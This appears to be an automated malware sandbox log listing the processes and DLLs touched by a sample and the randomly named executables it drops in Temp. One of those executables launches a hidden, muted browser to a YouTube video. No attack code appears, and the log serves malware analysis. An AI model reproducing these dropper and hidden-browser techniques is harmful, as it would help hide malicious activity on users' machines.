Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --from-ie-to-edge=3 --ie-frame-hwnd=10460
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2172 --field-trial-handle=2160,i,12527746652570324992,7600821867154545045,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2540 --field-trial-handle=2464,i,8886878303963272568,1758920196494828255,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5776 --field-trial-handle=2464,i,8886878303963272568,1758920196494828255,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7076 --field-trial-handle=2464,i,8886878303963272568,1758920196494828255,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7076 --field-trial-handle=2464,i,8886878303963272568,1758920196494828255,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files\Internet Explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:7880 CREDAT:17410 /prefetch:2
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Process created: C:\Users\user\AppData\Local\Temp\iAGXBgLW\VBJU2N3euXB4jMxu.exe C:\Users\user\AppData\Local\Temp\iAGXBgLW\VBJU2N3euXB4jMxu.exe 7936
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe" --from-ie-to-edge=3 --ie-frame-hwnd=e04cc
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --from-ie-to-edge=3 --ie-frame-hwnd=e04cc
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=2020,i,14565097193169155363,15533658218866554394,262144 /prefetch:3
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Process created: C:\Program Files\Internet Explorer\iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" --headless --disable-gpu --mute-audio --autoplay-policy=no-user-gesture-required --app=https://www.youtube.com/watch?v=wjIuS_rQQsY
Source: C:\Program Files\Internet Explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3548 CREDAT:9474 /prefetch:2
Source: C:\Program Files\Internet Explorer\iexplore.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe" --from-ie-to-edge=3 --ie-frame-hwnd=405b6
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe" --from-ie-to-edge=3 --ie-frame-hwnd=405b6
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --from-ie-to-edge=3 --ie-frame-hwnd=405b6
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1016 --field-trial-handle=2076,i,3765983385279909395,18258713166015416735,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2224 --field-trial-handle=2036,i,8421648618134585066,14207088546948016644,262144 /prefetch:3
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Process created: C:\Users\user\AppData\Local\Temp\6AMM9O8n\YOB9kZKIRUqnzMwq.exe C:\Users\user\AppData\Local\Temp\6AMM9O8n\YOB9kZKIRUqnzMwq.exe 9316
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZLOVRFvt\Q13Hi3dPshjDHTjm.exe	Section loaded: ncrypt.dll	Jump to behavior
